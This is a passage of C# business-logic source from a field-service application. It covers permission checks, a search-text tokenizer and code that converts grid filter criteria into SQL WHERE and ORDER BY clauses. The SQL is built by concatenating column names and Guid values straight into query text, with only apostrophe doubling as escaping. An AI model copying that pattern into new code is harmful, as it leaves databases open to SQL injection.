sufficient rights to access a object: /// /// Client c=null; /// if(AyaBizUtils.Right("Object.Client")<(int)SecurityLevelTypes.ReadOnly) /// c=Client.GetItem(myID); /// else /// MessageBox.Show("You don't have sufficient rights to open a client - Bazinga!"); //;) /// /// /// string representation of object /// int value corresponding to enum public static int Right(string sObject) { //case 2094 if (LockDown) return 2; if (_SchemaUpdating) return 4; //case 1584 //case 1387 if (sObject == "Object.Workorder") { sObject = "Object.WorkorderService"; #if(DEBUG) throw new System.Exception("CASE 1387 ERROR: AyaBizUtils->Right - RootObject rights being checked is Workorder!"); #endif } //don't allow trial to edit users //case 3646 removed //if (Trial && sObject == "Object.User") return 2; if (GlobalX.TrialExpired || GlobalX.LockedOut) return 2; if (sObject.EndsWith("Template")) sObject = sObject.Replace("Template", ""); //case 1592 if (sObject == "Object.WorkorderItemPartRequest") sObject = "Object.WorkorderItemPart"; //case 1172 if (Lite) { switch (sObject) { case "Object.WorkorderPreventiveMaintenance": case "Object.WorkorderQuote": case "Object.ClientGroup": case "Object.DispatchZone": // case "Object.PartAssembly": case "Object.PartWarehouse": case "Object.Unit": case "Object.UnitModel": case "Object.UnitModelCategory": //case "Object.UnitOfMeasure": case "Object.UnitServiceType": case "Object.UserCertification": case "Object.UserCertificationAssigned": case "Object.UserSkill": case "Object.UserSkillAssigned": //case "Object.WorkorderItemType": case "Object.WikiPage": case "Object.AssignedDocument": case "Object.AssignedDoc": case "Object.LoanItem": case "Object.Region": case "Object.SecurityGroup": case "Object.Notification": case "Object.AyaFile": case "Object.HeadOffice": case "Object.Contract": case "Object.ClientServiceRequest": case "Object.Project": case "Object.Memo": return (int)SecurityLevelTypes.NoAccess; default: return (int)SecurityLevelTypes.ReadWriteDelete;//Otherwise full access since no security in lite version } } return ((BusinessPrincipal)Thread.CurrentPrincipal).Right(sObject); } /// /// Check current thread user's rights to Root object type specified /// /// /// Example usage - Checking if the currently logged in user has sufficient rights to access a object: /// /// Client c=null; /// if(AyaBizUtils.Right(RootObjectTypes.Client)<(int)SecurityLevelTypes.ReadOnly) /// c=Client.GetItem(myID); /// else /// MessageBox.Show("You don't have sufficient rights to open a client - Bazinga!"); //;) /// /// /// object type /// int value corresponding to enum [Browsable(false)] public static int Right(RootObjectTypes RootObject) { //case 2094 if (LockDown) return 2; if (_SchemaUpdating) return 4; //case 1584 // System.Diagnostics.Debug.Assert(RootObject != RootObjectTypes.Workorder, "AyaBizUtils->Right something is checking the rights to the Workorder object deprecated in case 1387"); if (RootObject == RootObjectTypes.Workorder) { RootObject = RootObjectTypes.WorkorderService; #if(DEBUG) throw new System.Exception("CASE 1387 ERROR: AyaBizUtils->Right - RootObject rights being checked is Workorder!"); #endif } //case 3646 removed //don't allow trial to edit users //if (Trial && RootObject == RootObjectTypes.User) return 2; if (GlobalX.TrialExpired || GlobalX.LockedOut) return 2; if (RootObject == RootObjectTypes.WorkorderQuoteTemplate) RootObject = RootObjectTypes.WorkorderQuote; if (RootObject == RootObjectTypes.WorkorderServiceTemplate) RootObject = RootObjectTypes.WorkorderService; if (RootObject == RootObjectTypes.WorkorderPreventiveMaintenanceTemplate) RootObject = RootObjectTypes.WorkorderPreventiveMaintenance; //case 1592 if (RootObject == RootObjectTypes.WorkorderItemPartRequest) RootObject = RootObjectTypes.WorkorderItemPart; //case 1172 if (Lite) { switch (RootObject) { case RootObjectTypes.WorkorderPreventiveMaintenance: case RootObjectTypes.WorkorderQuote: case RootObjectTypes.ClientGroup: case RootObjectTypes.DispatchZone: //case RootObjectTypes.PartAssembly: case RootObjectTypes.PartWarehouse: case RootObjectTypes.Unit: case RootObjectTypes.UnitModel: case RootObjectTypes.UnitModelCategory: //case RootObjectTypes.UnitOfMeasure: case RootObjectTypes.UnitServiceType: case RootObjectTypes.UserCertification: case RootObjectTypes.UserCertificationAssigned: case RootObjectTypes.UserSkill: case RootObjectTypes.UserSkillAssigned: //case RootObjectTypes.WorkorderItemType: case RootObjectTypes.WikiPage: case RootObjectTypes.AssignedDocument: case RootObjectTypes.LoanItem: case RootObjectTypes.Region: case RootObjectTypes.SecurityGroup: case RootObjectTypes.Notification: case RootObjectTypes.AyaFile: case RootObjectTypes.HeadOffice: case RootObjectTypes.Contract: case RootObjectTypes.ClientServiceRequest: case RootObjectTypes.Project: case RootObjectTypes.Memo: return (int)SecurityLevelTypes.NoAccess; default: return (int)SecurityLevelTypes.ReadWriteDelete;//Otherwise full access since no security in lite version } } return ((BusinessPrincipal)Thread.CurrentPrincipal).Right("Object." + RootObject.ToString()); } /// /// Check if currently logged in user has at least the right specified to the object specified /// /// /// /// public static bool HasRight(RootObjectTypes ObjectType, SecurityLevelTypes SecureLevel) { return ((int)Right(ObjectType) > (int)SecureLevel); } /// /// Check current logged in user's right to /// read the object type specified /// /// RootObjectType /// true or false public static bool CanRead(RootObjectTypes ObjectType) { return ((int)Right(ObjectType) > (int)SecurityLevelTypes.NoAccess); } /// /// Check current logged in user's right to /// read and write the object type specified /// /// RootObjectType /// true or false public static bool CanWrite(RootObjectTypes ObjectType) { return ((int)Right(ObjectType) > (int)SecurityLevelTypes.ReadOnly); } /// /// Check current logged in user's right to /// read, write and delete the object type specified /// /// RootObjectType /// true or false public static bool CanWriteAndDelete(RootObjectTypes ObjectType) { return ((int)Right(ObjectType) > (int)SecurityLevelTypes.ReadWrite); } private static bool mIsTemporaryGenerator = false; /// /// /// [Browsable(false)] public static bool TG { set { mIsTemporaryGenerator = value; } } [Browsable(false)] internal static bool IsGenerator { get { return mIsTemporaryGenerator || ((BusinessPrincipal)Thread.CurrentPrincipal).IsGenerator; } } #endregion #region Word breaker //static Hashtable StopWords; #pragma warning disable 1591 static AyaBizUtils() { } #region Breaker public enum TokenTypes { Nothing, Separator, CJK, Latin }; /// /// Take an array of strings and /// return a single xml string /// containing unique only, lowercase /// keywords suitable for passing to a /// stored procedure or other function that can /// handle very plain xml /// /// Use GlobalSettings.CJKIndex=true to handle Chinese, Japanese, Korean etc /// (languages with no easily identifiable word boundaries as in english) /// /// /// return results as XML or as a string of comma delimited words /// An array of 0 to * strings of text /// internal static string Break(bool AsXML, params string[] text) { return BreakCore(false, AsXML, text); } /// /// Used to Process users search phrase and preserve wild /// cards entered /// /// /// internal static string BreakSearchPhrase(params string[] text) { return BreakCore(true, false, text); } /// /// Stop words list reset upon login or editing of localized text /// used for eliminating noise words from search dictionary /// public static System.Collections.Generic.List StopList = null; internal static string BreakCore(bool KeepWildCards, bool AsXML, params string[] text) { ////case 1039 //log.Debug("Break"); #region stopwords if (StopList == null) { StopList = new List(); for (int stopkeys = 1; stopkeys < 8; stopkeys++) { MatchCollection mc = rxAllWords.Matches(LocalizedTextTable.GetLocalizedTextDirect("StopWords" + stopkeys.ToString())); foreach (Match m in mc) { if (!string.IsNullOrEmpty(m.Value) && m.Value != "?" && !StopList.Contains(m.Value)) StopList.Add(m.Value); } } } #endregion bool CJK = GlobalSettings.CJKIndex; int MAXWORDLENGTH = 255; StringBuilder sbResults = new StringBuilder(); //Hashtable to temporarily hold parsed words //used to easily ensure unique words only Hashtable ht = new Hashtable(); //Stuff required for creating xml fragment on the fly in memory (string) StringBuilder sb = new StringBuilder(); StringBuilder sbWord = new StringBuilder(); System.IO.StringWriter sr = new System.IO.StringWriter(sb); System.Xml.XmlTextWriter w = new System.Xml.XmlTextWriter(sr); w.Formatting = System.Xml.Formatting.Indented; w.WriteStartElement("Items"); //Loop through each of the passed in strings foreach (string s in text) { if (s == null || s == "") continue; //get all the characters in a unicode compliant manner... TextElementEnumerator t = StringInfo.GetTextElementEnumerator(s); //start at the top t.Reset(); TokenTypes LastToken = TokenTypes.Nothing; //Used by CJK bool BasicLatinBlock = true; //Process each "character" (text element,glyph whatever) in the //current string while (t.MoveNext()) { //get it as a character char c = t.GetTextElement()[0]; if (!CJK) { #region regular tokenizer //Is it a token we want to include? //Or a wildcard character if (char.IsLetterOrDigit(c) || (KeepWildCards && c == '%')) { #region Include token //All latin text is converted to lower case c = char.ToLower(c); //Do we already have a word? if (sbWord.Length > 0) { //Maybe we need to flush this word into the word list //if we're over the word length limit if (sbWord.Length >= MAXWORDLENGTH) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; sbWord.Append(c); LastToken = TokenTypes.Latin; continue; } } //append character and go on to next one sbWord.Append(c); LastToken = TokenTypes.Latin; continue; #endregion } else { #region Word Boundary token LastToken = TokenTypes.Separator; if (sbWord.Length > 0) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; continue; } #endregion } #endregion } else { #region CJK Tokenizer //Is it a basic latin charater? (ascii basically) //see: http://www.unicode.org/charts/index.html //and here for a funky online viewer: //http://www.fileformat.info/info/unicode/block/index.htm //we need to know this so that regular english text //within cjk text gets properly indexed as whole words BasicLatinBlock = false; if ((int)c < 256) BasicLatinBlock = true; if (BasicLatinBlock) { //Is it a token we want to include? if (char.IsLetterOrDigit(c) || (KeepWildCards && c == '%')) { #region Latin Include token //All latin text is converted to lower case c = char.ToLower(c); //Do we already have a word? if (sbWord.Length > 0) { //Maybe we need to flush this word into the word list //if we're over the word length limit or we are going from //CJK to latin if (LastToken == TokenTypes.CJK || sbWord.Length >= MAXWORDLENGTH) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; sbWord.Append(c); LastToken = TokenTypes.Latin; continue; } } //append character and go on to next one sbWord.Append(c); LastToken = TokenTypes.Latin; continue; #endregion } else { #region Latin Word Boundary token LastToken = TokenTypes.Separator; if (sbWord.Length > 0) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; continue; } #endregion } } else//CJK character { if (char.IsLetter(c) || (KeepWildCards && c == '%')) { #region CJK Include token //Do we already have a word? if (sbWord.Length > 0) { //Maybe we need to flush this word into the word list //if we're over the word length limit or we are going from //latin TO CJK if (LastToken == TokenTypes.Latin || sbWord.Length >= MAXWORDLENGTH) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; sbWord.Append(c); LastToken = TokenTypes.CJK; continue; } if (LastToken == TokenTypes.CJK) { //we're here because there is more than zero characters already stored //and the last was CJK so we need append current character //and flush the resultant 2 character n-gram sbWord.Append(c); System.Diagnostics.Debug.Assert(sbWord.Length == 2); if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; sbWord.Append(c); LastToken = TokenTypes.CJK; continue; } } //append character and go on to next one sbWord.Append(c); LastToken = TokenTypes.CJK; continue; #endregion } else { #region CJK Word Boundary token LastToken = TokenTypes.Separator; if (sbWord.Length > 0) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; //sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; continue; } #endregion } } #endregion } } //Flush out the last word if (sbWord.Length > 0) { //flush away... if (!ht.ContainsKey(sbWord.ToString())) { ht[sbWord.ToString()] = 1; ////sbTest.Append(sbWord.ToString()+"\r\n"); } sbWord.Length = 0; } } //bail early if there is nothing indexed if (ht.Count == 0) return ""; if (AsXML) { //Make a return xml fragment //from the word list foreach (DictionaryEntry d in ht) { //Add only non stopwords if (!StopList.Contains(d.Key.ToString())) { w.WriteStartElement("i"); w.WriteAttributeString("w", d.Key.ToString()); w.WriteEndElement(); } } w.WriteEndElement(); sr.Close(); return sr.ToString(); } else { //Make a return string array //from the word list foreach (DictionaryEntry d in ht) { //Add only non stopwords if (!StopList.Contains(d.Key.ToString())) { sbResults.Append(d.Key.ToString()); sbResults.Append(","); } } //sometimes all the results are stop words so you end up //here with nothing in sbResults. Removed some code that was //causing a crash here return sbResults.ToString().TrimEnd(','); } //return sbTest.ToString(); } #endregion #pragma warning restore 1591 #endregion #region Searchable Biz object GetSearchResult /// /// Instantiates searchable business objects based on type and id (class factory) /// and Processes and returns search result for that object /// /// /// /// /// public static SearchResult GetSearchResultFor(RootObjectTypes RootObjectType, Guid RootObjectID, string[] searchTerms) { //if(log.IsDebugEnabled) // //case 1039 //log.Debug("GetSearchResultFor(Type=" + RootObjectType.ToString() + ", ID=" + RootObjectID.ToString()); try//case 3734 { switch (RootObjectType) { case RootObjectTypes.Client: return Client.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.AssignedDocument: return AssignedDoc.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ClientGroup: return ClientGroup.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ClientNote: return ClientNote.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ClientServiceRequest: return ClientServiceRequest.GetSearchResult(RootObjectID, searchTerms); //Removed finally as part of case 58 case RootObjectTypes.Contact: return new SearchResult();//JUST RETURN EMPTY RESULT SO NO ERROR DURING DEVELOPMENT OF CASE 1975 // return xContact.GetSearchResult(RootObjectID, searchTerms); //case RootObjectTypes.ContactPhone: // return xContactPhone.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Contract: return Contract.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.DispatchZone: return DispatchZone.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.HeadOffice: return HeadOffice.GetSearchResult(RootObjectID, searchTerms); //Memo will only return a result if the sender is current user //or the receiver is current user //UNLESS the current user is the built in admin account case RootObjectTypes.Memo: return Memo.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Part: return Part.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.PartAssembly: return PartAssembly.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.PartWarehouse: return PartWarehouse.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Project: return Project.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.PurchaseOrder: return PurchaseOrder.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Rate: return Rate.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ScheduleableUserGroup: return ScheduleableUserGroup.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ScheduleMarker: return ScheduleMarker.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.ServiceBank: return ServiceBank.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Task: return Task.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.TaskGroup: return TaskGroup.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Unit: return Unit.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.LoanItem: return LoanItem.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UnitMeterReading: return UnitMeterReading.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UnitModel: return UnitModel.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UnitModelCategory: return UnitModelCategory.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UnitServiceType: return UnitServiceType.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.User: return User.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UserCertification: return UserCertification.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.UserSkill: return UserSkill.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Vendor: return Vendor.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.Workorder: return Workorder.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderService: return WorkorderService.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderQuote: return WorkorderQuote.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderPreventiveMaintenance: return WorkorderPreventiveMaintenance.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderCategory: return WorkorderCategory.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItem: return WorkorderItem.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemLabor: return WorkorderItemLabor.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemMiscExpense: return WorkorderItemMiscExpense.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemOutsideService: return WorkorderItemOutsideService.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemPart: return WorkorderItemPart.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemTravel: return WorkorderItemTravel.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemLoan: return WorkorderItemLoan.GetSearchResult(RootObjectID, searchTerms); case RootObjectTypes.WorkorderItemType: return WorkorderItemType.GetSearchResult(RootObjectID, searchTerms); //Added: 24-June-2006 was missing case RootObjectTypes.PartInventoryAdjustment: return PartInventoryAdjustment.GetSearchResult(RootObjectID, searchTerms); //case 73 case RootObjectTypes.WikiPage: return WikiPage.GetSearchResult(RootObjectID, searchTerms); default: //if all else fails, return an empty search result struct { //KEEP THIS FOR FUTURE DIAGNOSTICS #if(DEBUG) throw new System.ArgumentException("AyaBizUtils->GetSearchResultFor: " + RootObjectType.ToString() + " IS NOT IMPLEMENTED"); #else //case 1116 return new SearchResult(); #endif } } } catch { //case 3734 fixes issue with missing source object still in dictionary return new SearchResult(); } } #endregion #region Grid Filtering and sorting #pragma warning disable 1591 /// /// /// /// /// /// public static string GetGridSortOrderColumns(string XmlGridCriteria, bool AddOrderByCommand) { //if(log.IsDebugEnabled) // //case 1039 //log.Debug("GetGridSortOrderColumns(XmlGridCriteria=" + XmlGridCriteria); //Added 05-May-2006: An empty criteria was triggering an exception //changed to just short circuit if empty if (XmlGridCriteria == "") return ""; //change: 07-June-2006 Moved dupe checking here //because we need to allow dupes for the UI sort order code Hashtable htFields = new Hashtable(); //Pre-add the "grid" sql column name //because it indicates a column that is not sorted by the sql server (i.e. calculated) htFields.Add("grid", 0); try { StringReader sr = new StringReader(EscapeXml(XmlGridCriteria));//case 1724 DataSet ds = new DataSet(); ds.ReadXml(sr); //Handle an empty dataset if (!ds.Tables.Contains("COLUMNITEM")) return ""; StringBuilder sb = new StringBuilder(); if (AddOrderByCommand) sb.Append("ORDER BY "); string sCurrentColumnName = ""; //Iterate through all tabs bool bFirst = true; //Added: 22-May-2006 moved limit of 4 columns to order by to here //from the UI Util class GetGridSortAndFilterCriteria method int nSortColumnsAddedToCriteria = 0; foreach (DataRow TabRow in ds.Tables["COLUMNITEM"].Rows) { #if (DEBUG) //If running in debug mode then order by all columns //which reveals any mis spelled column names or missing //column name attribute that might go missed if (nSortColumnsAddedToCriteria > 4) break;//catch those nasty sql errors #else //In a release build only order by first 4 columns for performance //anything more is pretty much redundant 99.9% of the time if(nSortColumnsAddedToCriteria>4) break; #endif sCurrentColumnName = TabRow["CM"].ToString(); //duplicate elimination (moved here from Ui Util code //because "dupes" are needed there if (htFields.Contains(sCurrentColumnName)) continue; htFields.Add(sCurrentColumnName, 0); //ntext, image etc can't be ordered by //that means not including those types here if (sCurrentColumnName.IndexOf(".Custom") == -1) { //special Processing for first order by item (sort order) if (bFirst) { //case 3604 //added check for column SORT if (TabRow.Table.Columns.Contains("SORT") && TabRow["SORT"].ToString() == "DESC") sb.Append(/*""+*/sCurrentColumnName + " DESC, "); else sb.Append(/*""+*/sCurrentColumnName + ", "); bFirst = false; } else sb.Append(/*""+*/sCurrentColumnName + ", "); nSortColumnsAddedToCriteria++; } } //take off the comma space at the end sb.Remove(sb.Length - 2, 2); //Changed 24-March-2006 for norwegian aA handling return sb.ToString().ToUpper(System.Globalization.CultureInfo.InvariantCulture); } catch { //case 3603 #if (DEBUG) throw; #else return ""; #endif } } /// /// Take an XML fragment containing the grid criteria /// extract out the column order, build an ORDERBY /// clause and return it as a string /// /// /// public static string GetGridSortOrderColumns(string XmlGridCriteria) { return GetGridSortOrderColumns(XmlGridCriteria, true); } /// /// Takes an XML fragment containing the grid criteria /// extracts out the filter criteria /// builds a WHERE clause /// and returns it as a string /// /// /// /// public static string GetGridColumnCriteria(string XmlGridCriteria, bool bAddWhere) { //if(log.IsDebugEnabled) // //case 1039 //log.Debug("GetGridColumnCriteria(XmlGridCriteria=" + XmlGridCriteria); //Added 05-May-2006: An empty criteria was triggering an exception //changed to just short circuit if empty if (XmlGridCriteria == "") return ""; try { StringReader sr = new StringReader(EscapeXml(XmlGridCriteria));//case 1724 DataSet ds = new DataSet(); ds.ReadXml(sr); //Handle an empty dataset if (!ds.Tables.Contains("WHEREITEM")) return ""; StringBuilder sb = new StringBuilder(); if (bAddWhere) { sb.Append(" WHERE "); } else//already has built in where keyword { sb.Append(" AND "); } bool bFirstGroup = true; //WHEREITEMGROUP_WHEREITEM foreach (DataRow GroupRow in ds.Tables["WHEREITEMGROUP"].Rows) { //Get the OR or AND string sLogicalOperator = GroupRow["GROUPLOGICALOPERATOR"].ToString(); //It's possible that there is a group but no children in the case //of certain types of criteria (regex etc) so check first if (GroupRow.GetChildRows("WHEREITEMGROUP_WHEREITEM").GetLength(0) < 1) continue; //Ok, we have child rows, so start a new chunk of SQL if (!bFirstGroup) sb.Append(" AND "); sb.Append("("); bool bFirst = true; DataRow[] groupChildren = GroupRow.GetChildRows("WHEREITEMGROUP_WHEREITEM"); bool bCompoundGroup = (groupChildren.GetLength(0) > 1); foreach (DataRow ChildRow in groupChildren) { if (!bFirst) sb.Append(" " + sLogicalOperator + " "); //changed: 05-June-2006 to uppercase the column name sb.Append(GridToSqlCriteria( ChildRow["CM"].ToString().ToUpper(System.Globalization.CultureInfo.InvariantCulture), ChildRow["TYPE"].ToString(), ChildRow["COMPAREOPERATOR"].ToString(), ChildRow["COMPAREVALUE"].ToString(), bCompoundGroup)); bFirst = false; } sb.Append(") "); bFirstGroup = false; } // //Iterate through all tabs // foreach(DataRow TabRow in ds.Tables["WHEREITEM"].Rows) // { // sb.Append("("); // sb.Append(GridToSqlCriteria(TabRow["COLUMN"].ToString(),TabRow["DATATYPE"].ToString(), // TabRow["COMPAREOPERATOR"].ToString(),TabRow["COMPAREVALUE"].ToString())); // sb.Append(") AND "); // // } // // //take off the comma space at the end // sb.Remove(sb.Length-5,5); //if(log.IsDebugEnabled) // //case 1039 //log.Debug("GetGridColumnCriteria: returning[" + sb.ToString() + "]"); //Changed 24-March-2006 for norwegian aA handling //Changed again 05-June-2006 can't shift whole thing to upper case //as the criteria value of string values wouldn't match so //added code above to just uppercase the table and column name return sb.ToString();//.ToUpper(System.Globalization.CultureInfo.InvariantCulture); } catch { //case 3603 #if (DEBUG) throw; #else return ""; #endif } } /// /// Used internally by AyaNova UI to translate Infragistics grid filter settings to AyaNova friendly SQL critiera /// private static string GridToSqlCriteria(string sColumn, string sDataType, string sOperator, string sValue, bool IsCompound) { //if(log.IsDebugEnabled) ////case 1039 //log.Debug("GridToSqlCriteria(Column=" + sColumn +", DataType=" + sDataType + ", Operator=" + sOperator + ", Value=" + sValue+")"); StringBuilder sb = new StringBuilder(); //Column name //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); //Added: 13-July-2006 prior fix on the 6th either broke due to other changes or //was not enough in the first place, oddly it was working then, but this is also needed //now to make it work: //Handle bools with null values //this comes about from a user selecting blanks or nonblanks to filter a bool column if (sValue == "" && sDataType == "System.Boolean") { sValue = "False"; } //handle null values separately if (sValue == "") { //strings in grids are rarely null, almost always just an empty string //so filter on that instead switch (sDataType) { case "System.String": { if (sOperator == "Equals") { //Changed: 19-July-2006 was missing null values, "almost always' above not good enough! sb.Append("Is Null"); sb.Append(" OR "); sb.Append(sColumn); sb.Append(" = ''"); } else sb.Append(" <> ''"); } break; default: { if (sOperator == "Equals") sb.Append("Is Null"); else sb.Append("Is Not Null"); } break; } } else {//non null value //Changed 21-March-2006: //But wait! Both mssql and firebird won't include a null result //on the filter field so in some cases we need to include them //i.e. if a value is supposed to be not equal to a specific non-null value //then null is a valid value to return but won't be normally //so.... //Special addition to handle nulls if (!IsCompound) { switch (sOperator) { case "Equals": //no change on equals for nulls break; case "GreaterThan": //no change on greater than for nulls //(nulls are going to be assumed to be always at the //less than end of the scale) break; case "GreaterThanOrEqualTo": //no change on greater than for nulls //(nulls are going to be assumed to be always at the //less than end of the scale) break; case "LessThan": sb.Append("Is Null OR "); sb.Append(sColumn); sb.Append(" "); break; case "LessThanOrEqualTo": sb.Append("Is Null OR "); sb.Append(sColumn); sb.Append(" "); break; case "Like": //No change on like break; case "NotEquals": //This is the big one: sb.Append("Is Null OR "); sb.Append(sColumn); sb.Append(" "); break; } } #region Build for specific type switch (sDataType) { case "System.String": //escape any pre-existing apostrophes //i.e. "O'Flaherty's pub" would cause fits //if this wasn't done //MS-sql and firebird use double apostrophes so //any future db added should consider this sValue = sValue.Replace("'", "''"); //case 1951 - unescape ampersands sValue = sValue.Replace("&", "&"); //case 3581 string insertNationalTypeQueryCharacter = string.Empty; if (DBUtil.DB.DBType == DataBaseType.MSSQL) { insertNationalTypeQueryCharacter = "N"; } switch (sOperator) { case "Equals": sb.Append("=" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; case "GreaterThan": sb.Append(">" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; case "GreaterThanOrEqualTo": sb.Append(">=" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; case "LessThan": sb.Append("<" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; case "LessThanOrEqualTo": sb.Append("<=" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; case "Like": sb.Append("Like " + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("%'"); break; case "NotEquals": sb.Append("<>" + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("'"); break; //Following 7 operators added 14-June-2006 case "DoesNotContain": sb.Append("Not Like " + insertNationalTypeQueryCharacter + "'%"); sb.Append(sValue); sb.Append("%'"); break; case "Contains": sb.Append("Like " + insertNationalTypeQueryCharacter + "'%"); sb.Append(sValue); sb.Append("%'"); break; case "StartsWith": sb.Append("Like " + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("%'"); break; case "EndsWith": sb.Append("Like " + insertNationalTypeQueryCharacter + "'%"); sb.Append(sValue); sb.Append("'"); break; case "DoesNotStartWith": sb.Append("Not Like " + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("%'"); break; case "DoesNotEndWith": sb.Append("Not Like " + insertNationalTypeQueryCharacter + "'%"); sb.Append(sValue); sb.Append("'"); break; case "NotLike": sb.Append("Not Like " + insertNationalTypeQueryCharacter + "'"); sb.Append(sValue); sb.Append("%'"); break; default: throw new System.ArgumentOutOfRangeException("OPERATOR_TYPE", sOperator, "GridToSqlCriteria unhandled operator type [" + sOperator + "] IN STRING"); } break; case "System.Boolean": { switch (sOperator) { case "Equals": sb.Append("= "); if (sValue == "True") sb.Append("1"); else sb.Append("0"); break; case "NotEquals": sb.Append("<> "); if (sValue == "True") sb.Append("1"); else sb.Append("0"); break; default: throw new System.ArgumentOutOfRangeException("OPERATOR_TYPE", sOperator, "GridToSqlCriteria unhandled operator type [" + sOperator + "] in BOOL"); } } break; case "System.Guid": { switch (sOperator) { case "Equals": sb.Append("= "); sb.Append("'"); sb.Append(sValue); sb.Append("'"); break; case "NotEquals": sb.Append("<> "); sb.Append("'"); sb.Append(sValue); sb.Append("'"); break; default: throw new System.ArgumentOutOfRangeException("OPERATOR_TYPE", sOperator, "GridToSqlCriteria unhandled operator type [" + sOperator + "] in BOOL"); } } break; case "System.DateTime": case "System.Object": { //ref http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemdatetimeclasstostringtopic.asp //s format = sql server universal date time pattern, e.g. 2004-09-28 14:14:45 if (sValue.StartsWith("[")) { #region Build criteria for date RANGE specified //Used as the basis point System.DateTime dtAfter; System.DateTime dtBefore; switch (sValue) { //Case 402 case "[YESTERDAY]": //Between Day before yesterday at midnight and yesterday at midnight dtAfter = System.DateTime.Today.AddDays(-1); dtAfter = dtAfter.AddSeconds(-1); dtBefore = System.DateTime.Today;//.AddDays(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[TODAY]": //Between yesterday at midnight and tommorow at midnight dtAfter = System.DateTime.Today.AddSeconds(-1); dtBefore = System.DateTime.Today.AddDays(1); //dtBefore=dtBefore.AddSeconds(1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[TOMORROW]": //Between Tonight at midnight and day after tommorow at midnight dtAfter = System.DateTime.Today.AddDays(1); dtAfter = dtAfter.AddSeconds(-1); dtBefore = System.DateTime.Today.AddDays(2); //dtBefore=dtBefore.AddSeconds(1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" 